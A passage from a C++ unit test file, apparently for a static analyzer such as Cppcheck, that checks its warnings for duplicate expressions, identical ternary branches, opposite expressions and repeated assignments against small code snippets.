\"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = 